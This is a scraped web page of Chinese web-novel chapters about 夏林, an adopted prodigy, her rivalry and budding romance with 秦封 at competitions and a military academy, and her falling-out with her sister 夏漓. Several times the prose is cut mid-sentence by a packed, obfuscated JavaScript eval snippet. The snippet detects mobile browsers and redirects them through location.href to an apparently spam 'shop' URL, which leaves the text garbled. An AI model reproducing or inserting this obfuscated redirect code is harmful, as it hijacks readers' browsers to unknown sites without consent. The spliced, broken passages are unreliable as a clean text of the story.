这两个疑问在比赛的整个赛程内一直在夏林心里反复出现。由于并没有选手成绩的实时显示,前面一提示比赛结束,她就立即站起来往前凑,搭在他肩膀上俯耳边问:“你用时多少?” 秦封的反应很奇怪。 夏林能感觉到自己问完后,手下搭着的身体瞬间变得僵硬。 就在夏林以为是自己突然出声吓到对方想道歉时,秦封转过头盯着她直愣愣地看了两秒,然后猝不及防地抬手一把将她推开了。 夏林一时间没想到他会这样做,直接一下撞到了旁边参赛选手的身上,密集的座位安排导致出现了小范围的骚动。 也有另一个原因是因为她是这次比赛的夺冠热门。 周围人的围观和远处传来的窃窃私语让察觉到或许会产生“其他”舆论后果的夏林立即不顾自己被撞痛的胳膊,迅速爬了起来,朝着身旁被自己波及的人连连道歉,解释说是自己有点低血糖。 她从叫“夏林”的第一天起就被警告过出门在外要时刻注意自己的言行。 好不容易安抚好了这边,正打算回头和秦封说些什么之时,夏林却发现对方已经戴上了他的卫衣帽子。 帽子宽大的休闲设计将他大半张脸包括耳朵都遮在了里面。显然是一副拒绝对话的姿态。 ……刚才她确实有些心急了。可能这位少爷不喜欢别人靠他这么近。 夏林在心里对自己这么默默解释。 此时前方的大屏恰好显示出了这次比赛的成绩: 第一名:夏林。总用时57分40秒。 第二名:秦封。总用时57分42秒。 第三名:…… 夏林没有继续往后看。她的视线一直停留在这2秒的时间差上。 这是一共30道题的总用时。如果总用时只差了仅仅2秒的话,相当于她每次做完的时候秦封也恰好做完。两人几乎是同步的。 这就可以解释为什么她每次答完题往前看的时候,对方也是出于答完题的状态。 他确实很厉害。 可这样的人,之前为什么从未参加过这些比赛? ……现在又为什么突然决定参赛了? 即使有这些疑问,但由于之前两人的尴尬,夏林也不敢再明目张胆地盯着秦封看,后面的颁奖与活动作为第一名和第二名更是零接触零交流。 没有明目张胆,但心里说不好奇是不可能的。 虽然对方对她的态度不太友善,但夏林以前听说有些有钱人就是会脾气古怪,有钱人的小孩或许也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183942|194449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样的。 好奇心在年幼时总是能占上风的,刚才的同龄人小磕碰此时已经忘得差不多了。 三两下给自己调理好了的夏林“悄悄”观察着这个突然不知道从哪里冒出来的好像各方面都很厉害的“小少爷”。 ……不知道下次什么时候还能再见面。 这次比赛活动全部结束后,夏林默默想到。 · 再次见到秦封的日子比她想象中的来得快多了。 在下一个月的文学史知识竞答比赛里,夏林看到选手席的那个身影还以为是自己眼花了。 机甲操作比赛和算法大赛姑且算是目前热门的精英教育培养课程内的内容,可文学史又是什么? 自己是因为要全部从头学起,所有科目所有内容都被夏家请了专门的老师,为了让她拿出“学习成果”,要求她参加比赛。 可秦封又是为什么?难道是有钱人小孩的小众爱好吗? 夏林看了一眼参赛者场地上孤零零摆着的六把椅子。 ……这个赛道真的是十分小众。 然后夏林所有好奇心在看到比赛结果的那一瞬间就消失殆尽了。 第一名:秦封。500分。 第二名:夏林。492分。 夏林对着这个成绩沉默了一会,扭头看向另一侧的秦封。 第一次参加就答出满分的秦封受到了极大关注。冷门学科的教授学者们一幅众星捧月的架势围着秦封,堪比当年她第一次参加就刷新历史最高分时受到的待遇。 现在这个最高分是满分的秦封。 夏林心里倒没有太多的不平衡,她依然在“悄悄”地观察着秦封。 这个白胡子老头话特别多,第一次的时候硬拉着她说了一个多小时。 但这次对秦封……怎么十几分钟就结束了?是因为秦封不管他说什么都只回答“嗯”“是的”“不想”“不行”四选一吗? 这个阿姨好像特别喜欢小孩子,但夏林真的不喜欢这么大了还被人抱着坐腿上,第一次的时候是真的特别煎熬。 这次秦封……居然还能好好坐在椅子上!原来只要岔开话题和那个阿姨聊她喜欢的盆栽就不会有这种待遇吗? 人在说到自己热爱的东西时,对一些小问题就不会太在意。 夏林一边观察一边在心里暗暗学习。 自从变成“夏林”以来,她一直都是这样默默学习模仿其他人的处世方式的。 因为是中途进入了这个她原本一辈子都接触不到的阶层,那些只属于这里的无形规矩与潜在的高压线,都是她以前从未接触过的,也没有人会善良地教导她。 她至少需要保证自己不出错。 夏林观察下来发现秦封对什么情况都处理得很好,而且其他人面对他的时候,好像话都会比平时少一些。 对话少了,出错的可能性就会少。 秦封是怎么做到的呢? 是因为他身上那个像大人一样的“成熟感”? 那这个“成熟感”又是怎么来的呢? 结束活动回到家的夏林站在镜子面前仔细地看着自己。 因为秦封几乎不太有表情? 她对着镜子用手压下了自己的唇角。 ……好像是看上去不好亲近了一些。 夏林在脑海中回忆了一下几次看到的秦封。 接下去是要话少。 和别人说话的时候要注意观察对方。 还有…… 48. 夏林2 很快,夏林发现了自己后面无论参加什么比赛或活动,那位贵族小少爷必定也会出现。 每次的穿着打扮看上去都得体矜贵,时而也会改变发型风格,每一次看上去很不错。 ……或许这也是这个阶层必备的“社交标准”。 联想到家里一堆衣服每天不重样的夏璃,夏林很快接受了这个理由,并在心里小小琢磨了一下自己。 虽然并不知道秦封也一直参加各种乱七八糟比赛的理由,但她寻思着这是人家的私事,她知道了也没用,参赛是人家的自由。 反而夏林因此可以持续“观察学习”秦封,还挺好。 和他一起参加那些比赛也很有意思。 就是这个人好像有点奇怪。 就在夏林觉得自己已经熟练掌握了“秦封式社交”精髓之后,她从后来的某一次比赛开始就停止了对秦封的“观察”。 但破天荒地,在这一次比赛结束的休息间隙,夏林居然被从不主动的秦封主动叫住了。 她感觉十分受宠若惊。 可这个打扮得漂漂亮亮的贵族小少爷喊住了她之后,就站在那睁着一双乌黑的眼睛直直地盯着她,半天也没蹦出几个字: “你……” “……今天……” 然后就又没声了。 因为这粗略的几个字在心里把自己今天比赛活动过程仔细回想了三遍的夏林终于确定自己没有在什么地方“冒犯”了这位贵族少爷。 于是掌握到“秦封式社交”精髓的夏林表情丝毫没有变化,平静地问对方:“怎么了?” 她已经真的掌握到了精髓。 目光直视,唇角放平,眼神无波。看见对方要跟看到路边的墙壁一样。 “……” “墙壁”又盯着她看了一会,忽然抿了下唇,开口说出了第一句完整话:“我今天……是有哪里不好吗?” 今天有哪里不好? 夏林把这几个字嚼碎了细细阅读理解了一下,瞬间领悟到了什么。 哦,今天的机械组装大赛他是第二名。 但夏林也是参加者,秦封比赛的时候她也在比赛,现在刚结束她也没时间看选手过程回放。 所以她现在也不知道秦封为什么就落后了她几秒。 ……要不等会回去再看吧。 得出解决方法的夏林立即开口道:“你的光脑联络号是多少?” 秦封愣了一下,脸上的表情突然有点奇怪:“你只是想要我的联络号?” “对。”夏林回答得很快。 这也是她掌握到的“秦封式社交”的精髓。说话要言简意赅,又不能词不达意。 她觉得已经充分表达了自己的意思。 交换一下联络号,回去看完选手录像就告诉他哪里可以改进。 “……”面前的贵族小少爷不知怎么地忽然侧过了身,只留给了夏林大半个背影。 但他的光脑还是别别扭扭地往夏林的方向递了出来。 夏林拿出自己的光脑连接扫描,发送了好友请求。 对面几乎是秒通过。 刚做完这些的夏林就收到了别人喊她回去的光脑消息,于是就向秦封道了别。 离开之前夏林又偷瞄了几眼秦封。 这位小少爷眉眼舒展,唇角明显上扬。一副心情很好的样子。和刚找她的时候截然不同。 ……看来她回去之后第一件事就得帮秦封看看是哪里出了问题。 之前他拿那么多次第二都从没来找过她,应该是特别重视这个科目。 夏林默默想道。 于是夏林回去之后一有了空闲时间就用光脑打开了今天比赛的记录,将秦封的比赛录像仔仔细细看了好几遍。 然后打开对方的联络页面,斟酌了用词,将她的改进意见分点标号罗列清晰,整理在一整条发送给了对方。 夏林几乎是刚一按完发送,就看到这条消息变成了“已读”。 哦,运气真好,秦封看来也正好拿着光脑。夏林这么想着。 已读归已读,对方却几分钟也没回消息。 但夏林也没有很在意。因为她刚才发的是机械拆解重装的改进建议,或许对方看完后就按照她说的去尝试了,正常来说还是需要点时间的。 于是夏林就把光脑放在一边,转而去完成自己今天的学习任务。 一直到入睡前,夏林才有空又拿起了自己的光脑。 秦封果然已经回复了她的消息,但这个内容好像有点怪。 【秦封:你喜欢机械组装?】 不是他自己喜欢吗? 夏林思考了一下,觉得这个问题并没有那么简单。 秦封想提高这一科的成绩也不一定是他喜欢,说不定只是他家里人希望他这一科成绩好。就比如她每天学得这么努力,实际上对那些课程也没有什么喜欢不喜欢的。 只是不学就会被“丢掉”而已。 但无论是秦封自己喜欢这一科目,还是他家里人希望他提高这一科目,夏林对这个问题的回答都是一定的。 【夏林:嗯。】 要是夏林回答无所谓或者不喜欢,那眼下的事实就变成了“对这科目无所谓或不喜欢的夏林”目前成绩还比“喜欢或被迫学习的秦封”好。 太伤人自尊心了。 凌晨两点零二分。夏林眼睁睁地看到她那条刚发出的消息瞬间变成了已读。 并在几秒后就收到了回复: 【秦封:我会努力学的。】 这倒是让已经坐在床上的夏林盯着光脑屏幕愣了一会。 不是因为刚收到的内容。 【夏林:还没有休息?你在学习吗?】 夏林按完“发送”才幡然醒悟了什么,有些懊恼地锤了一下自己的头。 前面学太久了脑子不清楚,一时间没有想太多。 这两个问题对靠近都不可以的秦封来说是不是太私人了?他们也不是比较亲近的关系。 此时光脑又传来了新消息的提示。夏林立刻打开看: 【秦封:……嗯。】 或许对方也学得太久了没来得及敏感这些。夏林有些庆幸。然后光脑又来了下一条消息: 【秦封:你现在还在学习?】 夏林看了一眼,在回复框内输入了几个字,又删除了末尾的“晚安”重新输入,点击发送。 【夏林:不是。我要休息了,不打扰你学习了。】 【秦封:……好。】 对话成功结束。夏林将光脑放在一边,在床上躺下闭眼入睡。 · 对帝国上层阶级来说,不去学校自己请老师授课的私人精英教育只能持续到十六岁。 十六岁之后,除非有严重身体原因,否则必须通过入学考试进入正规学校学习,四年后毕业取得成绩走向社会。 夏林当初的收养条件就是十六岁时必须考入当时帝国分数最高的军校,并成功毕业。 所以当夏林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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夏林现在对秦封的突然出现已经完全不意外了。毕竟过去的几年里,他们相逢各个赛场的日子加起来已经多到了一个堪称离奇的数字。 彼此之间的交流虽然依然不多,但也不是完全没有。 夏林觉得自己已经十分了解秦封。 譬如他不喜欢说废话,也不喜欢和别人有过多肢体接触。 但他对待学习很认真,也很懂得举一反三自我探索。 他们之前偶尔还会有友好的学术交流。 譬如他看上去不好相处,但其实人不错。 此时在军校看到秦封,夏林是觉得很高兴的。 所以当她朝着秦封走过去主动想打个招呼时,完全没有想到对方会是这样的反应。 “让开。” 眼前的漆黑眼眸里仿佛燃着一股毫无温度的冰焰,看着她的眼神就像在看一个陌生人。 他在生气。 夏林立即作出了准确的判断。 为什么?是之前发生了什么让他生气的事吗? 可是秦封不像是会这样迁怒的人。 夏林虽疑惑,但此时周围有不少围观学生,她也知道不是追问的时候。 她什么也没说,就安静地侧过了身,给秦封让路了。 可那个人路过她身旁时,不知为何微微停了一下。 两人四目相对。一人疑惑,一人愠怒。 “……” 几秒后,秦封抿了唇,撇过头快步走开了。 只留下夏林依然一头雾水。 而这开学第一天发生在人来人往的学校走廊的一幕,成为了她和秦封被称为“死对头”的起点。 49. 夏林3 夏林完全没想过事情会这样发展。 实际上她和秦封横扫各大比赛包揽一二名的事情早就广为人知。所以当“夏林”和“秦封”这两个名字同时出现在这所军校的入学名单上时,也曾在学生里引起过不小的议论。 两人对自己还未开学就已成“名人”这件事毫不自知。 当夏林从同学那里听说她和秦封已经在传播最广的一个版本里成为了“死对头”时,第一反应是好像也没有说错。 基本上在她参加的所有比赛里,最大的对手都是秦封。 至于传言里说的她和秦封关系恶劣…… 坐在教室里的夏林无意识地用手指点了点桌面。 她认为她和秦封之间还有那么点交情的。 可这点交情似乎还不足以谈得上是任何“关系”。 而且根据夏林的观察,对秦封而言,“没有关系的对象”和“关系恶劣的对象”他相处起来都是一个样子。 都是只有最低限度的接触和对话。 她觉得没什么影响,对方应该也是这么觉得的。 正如夏林所想的那样,后面秦封也没有出来否认过这个“死对头”的传言。 在两位当事人的默认下,传言就这么变成了这所军校既定的“事实”。 只要谈到“夏林”,后面“秦封”两个字就也一定会出现。 形成了一个微妙的绑定。 与之前只在隔一段时间的比赛上碰面的情况不同,军校采取的是寄宿制,学生除了公休日之外如无特殊事项全天都得在校内。 由于她和秦封都是成绩拔尖的学生,即使没有在同一个班级,教官安排他们两人一起的活动或事务也比想象中多很多。 有的时候甚至能频繁到一周见六天。 最开始夏林有些拿不准在他们俩都默认了“死对头”这个传言之后,两人之间的相处模式是否也要在其他人面前“做戏做全套”。 但夏林很快就发现了对方丝毫没有这个想法。 甚至不知为何他好像心情很不错。 ……虽然夏林至今也没想明白开学第一天的秦封在对她生什么气。 或许这些人的心思就是这么难以琢磨的。夏林默默地回想了一下在家里的夏璃,记忆里她也有这么毫无理由一会高兴一会生气心情变化很大的时候。 似乎是在看那些言情连续剧的时候。 于是在外被传为“水火不容死对头”的夏林和秦封,实际上两人相处得还可以。 即使都是话少的类型,两人偶尔也会主动帮对方看看作业或者训练上的问题。 在夏林看来已经达到了她的预期。她对目前的军校生活很满意。 后来一学年下来,夏林还摸到了一个规律。 只要有人找她表白,她下一次看到秦封的时候,对方脸色就会不太好。 某一次夏林鬼使神差地当面问了秦封这个问题。结果本来就低气压的黑发青年一下子就黑了脸。 最后在几乎能让人窒息的沉默中憋出了一句: “……恋爱会影响学业。” 夏林仔细地思考了几秒,她觉得自己应该不是那种恋爱了之后会深陷到影响学业的恋爱脑。 于是她当即反驳道:“我不会。” 然后从那一天开始到之后的那一个星期,秦封彻底拒绝和她进行任何交流了。 夏林知道对方这是完全生气了。 又是毫无理由地。 ……难道是因为没人向他表白吗? 独自琢磨的夏林越想越觉得很有可能。因为她总是和秦封被放在一起比较各种奇怪的东西,甚至有早餐各自喝了多少量的牛奶。 可是她怎么听到有个传言说最开始有人向秦封表白的时候,他拒绝的理由是“已经有了喜欢的人”? 所以后续就没有人找他告白了。 明明是他自己导致的结果……真是完全搞不懂他。 于是夏林就这么结束了这个问题的思考。 · 总计四年的军校生活在眨眼间就顺利地过去了一半。 就在夏林升上三年级的那一年,她那奇迹般恢复健康的妹妹夏漓最终还是不顾所有人的反对,入学了她所在的军校。 因为担心之前完全没有接受过任何训练的夏漓会不适应军校生活或者受欺负,夏林几乎是一有空就往一年级的楼层跑。 幸运的是,夏漓肉眼可见地比在别墅里的时候开心很多。每次一见面就拉着她叽叽喳喳地说今天学了什么,新认识了谁,有什么八卦,食堂的菜品味道如何如何。 望着妹妹说话时兴奋的眉眼,夏林萦绕在心底的不安消散了许多。 她开始觉得夏漓或许是适合军校的,是她之前保护过度了。 所以当夏林知道一年级的第一次综合测试里夏漓只排到了中游偏下一点时,她并没有过多的反应。 因为军校的课程会比一般学校的更难,体能课程也会占很大比例。对于之前长期生病不运动的夏漓来说,这已经是个非常厉害的成绩。 可夏漓似乎不是这么认为的。 那天夏林结束了一天的课程,按照往常那样绕路去一年级那里打算和夏漓一起回宿舍。 她在楼梯口等到所有人都走完了都没有看见夏漓的身影。 最后是在教室里找到了夏漓。 平日里精神饱满的金发少女死气沉沉地趴在桌子上,把脸埋在了交叠的双臂之间。 夏林一开始还以为夏漓是突然生病了,喊了几声之后没得到回应就拿起光脑准备联系医务室。 前方伸出了一只手拦住了她。 “姐姐,” 从双臂缝隙里传出的声音闷闷的,听起来非常低落。 “你有空的话能教教我机甲相关课程吗?他们都说你是最厉害的。” 夏林愣了一下,脱口而出:“当然可以。” “……”夏漓依然没有动静。 夏林想了一下,蹲下身,将自己的手臂也搭在了课桌的一角,把头靠了上去。 “夏漓,”她轻轻开口,“你不需要太在意其他人怎么说,他们根本不知道你的情况。” “你在这么短的时间内就能跟上这里的课程,你很棒,我为你骄傲。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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秦封说:“……这所学校里现在没人不知道。” 或许是走在路上的时候听见别人说起过吧。夏林没想太多,转而问:“是还有什么事吗?” “……”秦封没有说话。 着急赶时间的夏林现在没工夫猜这位少爷的心事,于是立马说:“我走了。” “别总想着帮她,她变不成第二个你。” 身后冷不丁传来的这句话还是让夏林的脚步一顿。 她觉得这句话来得很莫名,回头疑惑道:“我没想让她变成第二个我?” “她也是这么想的吗?” 说话的秦封依然在看着自己的光脑屏幕,像是依然在专注实验,一个眼神也没有朝门口转来。 “……” 几秒后,身后传来了关门的声音。 而视线停留在当前页面某一处许久的秦封抿了下唇,紧接着像是想起了某个不好的片段一般皱起了眉。 50. 夏林4 作为帝国一流的军校,自然是讲究理论与实践相结合式培养。学生进入第三学年之后,就必须参加大量的校外实践与模拟实战活动。 所以即使夏林已经在尽可能的抽出时间履行自己的承诺指导夏漓,但经常是见过一次之后下一次见面就变成了三个星期乃至一个月后。 当后来某一次夏林在时隔一个月的傍晚再次回归学校,得到的消息就是在一年级的最新综合测试里,夏漓夺得了第一的名次。 由于军校学生少,女生只有一栋宿舍楼。所以即使现在时间已经不算太早,夏林依然第一时间去买了夏漓最喜欢的花束和甜品直奔对方寝室门口,敲了门。 门开了,得到的消息却是人不在。 这个时间不在宿舍? 夏林有些疑惑。 “夏林学姐,那个……夏漓刚才说……不是,她没说!就是我猜吧,她可能是晚上吃多了出去散步了。” 开门的室友女生眼神左右乱飘,但一口咬定夏漓不在。 这个态度夏林说不怀疑是不可能的。但她想不明白为什么,心里还有点担心。 “……那麻烦你帮我转交一下东西,我先走了。” 夏林没有再过多追问这个看上去都要冒冷汗了的女生。 对方听到这句话肉眼可见地松了一口气。 只是等门在面前关上后,夏林并没有第一时间离开。 她倚靠在墙侧,安静地等。 不一会,从里面隐约传出了夏漓的声音。 “……在怕什么?她脾气很好,我都不知道学院里她的那些‘钢铁玫瑰’的绰号还有传言是怎么来的。” “你也不吃?不吃的话就拿去丢了。丢门口吧,甜的食物隔夜容易长虫。” “我去就我去,她这种大忙人,难道还能在门……” 对话的声音由远及近,打开门与夏林四目相对的夏漓一下子没了声。 夏林视线往下,打开门的金发少女穿着睡衣,手上提的黑色垃圾袋里明显露着她方才送去的花束与甜品盒的包装丝带。 “……” “……” 一阵尴尬的沉默在两人之间蔓延开来。 就在夏林刚想开口之际,夏漓“啪”地一下在门口丢下了垃圾袋,然后立即转身关上了门。 夏林不知道为什么会变成这样。 之后的几天,夏林几乎是天天去找夏漓,但一次都没有看到人。 直至有一次,夏林在一年级的走廊上被一个陌生男生喊住: “夏林学姐,听说您有在帮您的妹妹夏漓补习机甲?” 夏林瞥了一眼对方的一年级制服,觉得他这个问题问得有些莫名:“有什么事?” “只是想向学姐求证一下这件事。”他说话的表情很诚恳。 “……的确是有。”夏林迟疑了一下,还是给出了答案。 男生点了点头,和旁边的同伴对了一个“果然如此”的眼神:“谢谢,那我不多打扰您了。”话落转身离开了。 这只是一段不到两分钟的对话。夏林虽然当时有些在意,但也没有多想。 可第二天,之前一直见不到面的夏漓却主动找了过来。 “你为什么要和他们乱说话?”她一张口就是语气不善的指责,“你确实是教过我一些东西,可是你只教过我三次。总共加起来也不到8个小时。” 夏璃咬了咬牙,继续说:“我的成绩都是我每天留下来自己苦练出来的。持续三个月,几乎天天都到凌晨!可是你那样说了之后,他们只会觉得是你这个‘天才姐姐’教得好,让我这个‘废物妹妹’能有这么快的提高。可是这些和你能有多大的关系?你自己也知道啊。” “……”夏林立即反应过来夏漓说的是昨天那个她有些在意的对话,一下子就想明白了其中的问题所在。 夏林连忙解释:“我昨天说的是……” “你以后不要再来找我了,我也不需要你来帮我补习了,”夏漓提高声音打断了夏林的话,她的视线扫过对方微怔的表情,“我们以后遇到了也当不认识,任何有关我的话题你都不要说。知道了吗?” “……”夏林没有说话。 “我就当你知道了。”夏漓丢下这句话转身就走,没有再看后面的夏林一眼。 …… 夏林独自留在原地,午后温暖的阳光却仿佛让人遍体生寒。 她似乎在心里隐约窥见了后面的未来。 ? 即使夏林再怎么想补救,有关夏漓的事情依然在朝着最坏的方向发展。 从小就心高气傲的夏漓牟足了劲想要摆脱夏林留下的阴影。即使她已经拿到了年级的第一名,她依然在为了超越夏林留下的各项记录每天拼了命的努力。 但她得到的只有一次次失败。 成熟的科学研究表明,人的智商与基因上的某一些序列和段落有很大关系。但由于社会伦理要求,明面上禁止为任何人做智商的基因测序。 可那只是明面上,对于那些大把看不见未来的孤儿,伦理与人权根本无从谈起,而这个测试或许就是改变人生的机会。 夏林就是这样被精心筛选过的“产物”。 有些成绩光凭努力是永远无法达到的。 这句话最终也深深镌刻在了夏漓的心上。 正如夏林所想的那样,认清现实后的夏漓崩溃得很快,几乎是立刻放弃了自己。 可她怎么能让自己成为毁掉夏漓人生的阴影? 夏林告诉夏漓,她的父亲,夏家的家主曾经承诺过,如果夏林能在毕业时拿到综合成绩的第一名,就可以给夏漓办理转学。 这个约定成为了修复两人关系唯一的希望。 但只有夏林知道,目前的现实很严峻。 由于她前两年过得轻松顺利,在第二学年她拿到的第二名与第一名的秦封总成绩相差了一个不大不小的分数。 而且今年她在夏漓的事情上分心过多,这次的综合评测她知道最多也就是和秦封持平。 第一学年的成绩是夏林第一,但只领先了一点点。 所以如果要想最后达成综合成绩第一名,只有在最后一学年与秦封拉开明显差距这唯一一种可能。 ……可她能做到吗? 不管能不能做到,进入第四学年的夏林异常地努力,为自己安排了极其苛刻的紧凑日程。 对于这个变化,秦封是最早发现的那一个。 “一周的工作量你三天就完成了?熬夜了?” 秦封说这句话的时候夏林正坐在实验室的座椅上因眼睛干涩而伸手揉了揉眼睛。 “嗯。”她从鼻腔里轻轻应了一声。 “……” 能够明显地感觉到身旁的视线一直停留在她身上,但此时的夏林并没有闲暇去思考这么多。 而且她知道以秦封的性格,也不会继续追问下去。 身旁果然没有再传来任何声音。 或许是最近许久都没有室外活动,夏林觉得自己四肢有些发寒,喉咙深处又常常传来灼烧感。 她这学期一直在用营养剂代替午饭,为了利用午休时间找一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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但有些不凑巧,今天夏林选择的这个教室旁边没几步路就有楼梯和电梯。等夏林从教室里出来到门口,外面人影的位置早已空无一人。 那个人很聪明。电梯没有在运作。楼梯也没有听见脚步声。完全不知道人是往上还是往下了。 夏林巡了一圈再返回教室的时候,那个前面被她逮住的小男生也跑没影了。 但带来的三明治和草莓牛奶还好好地留在座位上。 ……一次彻底失败的行动。夏林叹了一口气。 只是那天下午,在实验室原本好好的夏林突然出现了剧烈的腹痛症状,后来是由秦封和她一起去的医务室。 学校医务室的医生很快给出了诊断,对着夏林絮絮叨叨:“是乳糖不耐受。你最近牛奶喝多了吧?以前没这样过吗?以后要注意一点……” 接受治疗后的夏林脸色好了许多,但一同来的秦封自从听到医生诊断后脸上的表情就有些复杂。 “你有乳糖不耐受的问题?”走出医务室的秦封突然开口。 “大概是吧,我也不清楚。以前最多只会在早上喝一次牛奶。”夏林随口答。 “……”身旁人没有接话,莫名沉默。 当时夏林并没有把这件事放在心上。 直到她后来突然某一天发现,“田螺姑娘”的午餐里似乎好久没有出现过牛奶了。 从什么时候开始的? 她乳糖不耐受这件事知道的人应该只有…… 夏林愣了一下,下意识地看向了旁边看上去正在全神贯注盯着光屏数据的秦封。 对方简直就像有一只眼睛一直在留意她这边一样,在她望过去的瞬间几乎是立刻就抬眼看了过来。 四目相对。秦封的脸上和往常一样没有什么表情,看不出对她有任何特殊的情绪: “怎么了?”他问。 51. 夏林5 一直给她送午餐的“田螺姑娘”是秦封?夏林得出这个结论后感觉自己脑子宕机了一秒。 理智上说根据目前的迹象表明,唯一有可能的只有秦封;情感上说这绝无可能,秦封能是干这种事的人吗? ……她选理智。 或许是她最近状态太差了。临近毕业,夏林和秦封这一学年有好多个合作课题和项目。担心她搞砸? 夏林终于想出了一个还算合理的理由。 不过不管正主是谁,夏林依旧打算拒绝那些午餐。 于是在上午最后一节的体能大课结束,教官照常派她和秦封去将男女生的器材归位时,夏林就在器材室开了口: “现在配给军校的营养剂不仅能补充人的日常消耗,还有饱腹感,口味其实也还不错。” 旁边秦封整理架子的动静停了下来。 这是夏林在斟酌之后的委婉说辞,但她知道秦封一定能听得懂: “吃起来也很节约时间,我觉得挺好的。你觉得呢?” “吃一份盒饭5分钟,一个面包2分钟,营养剂20秒,”秦封精准地说出了夏林的用餐时间,说完后放下了整理器材的手,回头看她,“你很差这5分钟?” 顾不及细思秦封是怎么知道她平日里吃饭吃多久,夏林条件反射说:“是我中午六分之一的休息时间?” “只知道白天休息,晚上在干什么?”秦封忽然像是想到了什么,皱了眉,“你晚上几点睡?” “……时间不够用,晚上有晚上的计划。”夏林也不知道为什么就下意识地回避了秦封那个问题,含糊地答。 “我记得目前安排的几个项目预留的时间都很充裕,”秦封一反常态地在这个话题上执着地追问了下去,“你在忙什么?” 忙着琢磨如何在期末成绩上大幅超越你。 夏林觉得这么说像是显得她是在暗地里谋划某些坏事,但光明正大坦荡荡地告诉本人又觉得好像有哪里不对。 万一秦封也跟着卷怎么办?目前本来他就领先。 绝不能告诉他。 夏林这一顿表情复杂的沉默不知道在另一个人眼里被解读成了什么,只是她还没来得及回答,就听见旁边冷不丁传来一句: “需要帮忙吗?” 难不成是要亲自给她放水? 夏林知道这是两人“跨频道聊天”信息差导致的误会,但心里还是觉得有些好笑。她本来打算说句玩笑话的逗逗他,可一回头对上那双眼,话到了嘴边忽然就变成了:“你能帮我什么?” “什么都可以。”说着这句话的秦封一双漆黑的眸子直直地望着夏林,眼里满是认真。 “……” 似是从未想过秦封会有这样的回答,又似是被那双眸子里直白表露的情感所惊。夏林嘴唇翕动,最终咬了牙,深深地一抿。 她唇角上扬,蔚蓝的眼眸里漾着点点星光,粲然一笑:“好,我记得了。” 夏林越过秦封往外走,在器材室门口回头招呼他:“都整理好了?回去吧。” 不知道为何愣在原地的秦封此时才忽然回过神,从喉间低低地应了一声:“……嗯。” 他在原地顿了一下,而后快步跟上了前面的金发少女,与之并肩而行。 “走。” · 那次夏林虽然委婉告诉秦封不需要给她带午餐了,但对方显然没听进去。 只要她打算用营养剂解决午饭的日子,在下午第一节课之前必能在她面前出现各种餐食。 后来没辙了,真不好意思一直蹭吃蹭喝。夏林就只会在实在觉得太累的时候才会选择吃营养剂然后中午休息一会,其他日子会乖乖去食堂。 她想出的解决方案是“还礼”。 如果夏林当天收到了秦封的午饭,她会在下午的课间去买个饮料和零食还给秦封。 只是这个方案一开始在实行的时候就遇到了困难。 那天她拿着精挑细选后买来的饮料和零食往秦封的班级走。一开始确实是好好的,但越走越发现不对。 周围的视线怎么比往常更多?还有人在后面悄悄跟着她走? 直到夏林在某个拐角处被一个关系不错的外向女生一把搭上肩挤眉弄眼“明示”之后才忽然领悟。 她在学校里是个名人。 现在这种给别人“主动”送饮料零食的行为是不是有点暧昧了? 在她和秦封还维持着“死对头”设定的前提下? 于是众目睽睽之下,夏林冷着脸硬生生地掉转了方向,径直回了自己班级。让一众等着看八卦的同学失望而归。 ——她突然理解了为什么当初秦封是抓了个小学弟来给她送午餐。 夏林只能在两人独处的时候再把藏了半天的饮料和零食交给秦封。 端坐在控制台旁的秦封扭头看了一眼夏林手上的东西,然后伸手指了一下上边挂着的“实验室禁止饮食”警告牌。 …… 夏林面不改色地继续说:“所以我会监督你全程不打开它们。” 秦封还是接过了夏林手上的零食和饮料。 只是他拿过去之后,还低头仔细看了好一会。 夏林立即解释:“这是回礼。不能总是白吃白喝你的。”她观察着秦封的面部表情,迟疑地补了一句,“你以前不是买过这两样吗?现在不喜欢了?我去给你买别的?” “……”听见这句话的秦封手指在乌龙茶的瓶身摩挲了一下,立即道,“不用。” “我很喜欢。”他低声说。 获得了当事人的首肯,于是这个“午餐还礼”模式就一直持续了下来。 一学年的时光过得飞快,临近期末。 但结束所有理论考试走出教学楼的夏林心上却笼罩着化不开的阴霾。 或许是为了让毕业生能在最后一学年的记录本上留下好看的一笔,这次的期末理论考试都异常的简单。 夏林很确信自己能拿到满分……不出意外的话秦封也是。 那么不出意外她就要出意外了。理论课彻底没了机会的话,实操课也拉不开多大差距,这就只剩下需要提交实体作品的《机械基础与设计》。 这是一门学时横跨四年,最后由学校提供基础机甲机型,要求学员们在这个基础上对机甲进行改装,最后由数位机甲设计大师或机械教授打分加权得出最后得分的课程。 夏林正在往存放机甲的场馆走。 她和秦封都不是那种压截止日期的人,她的机甲作品早在一周前就已经放到了指定位置。虽然没打听过秦封的进度,但多半也和她差不多。 军校一个学年的毕业生人数不算多,所有人的机甲作品也只占了场馆的一整层。每个人的机甲被封存在无法开启的钢化玻璃内,旁边放置了光屏作为学员的改造说明。 演示的时候对应机甲所在地板的下部会直接下沉到下面一层——正下方就是模拟训练场。 陈列机甲的场馆对所有军校生开放。毕业生的机甲改造灵感都会在光屏上记录提交时间,以防抄袭事件。 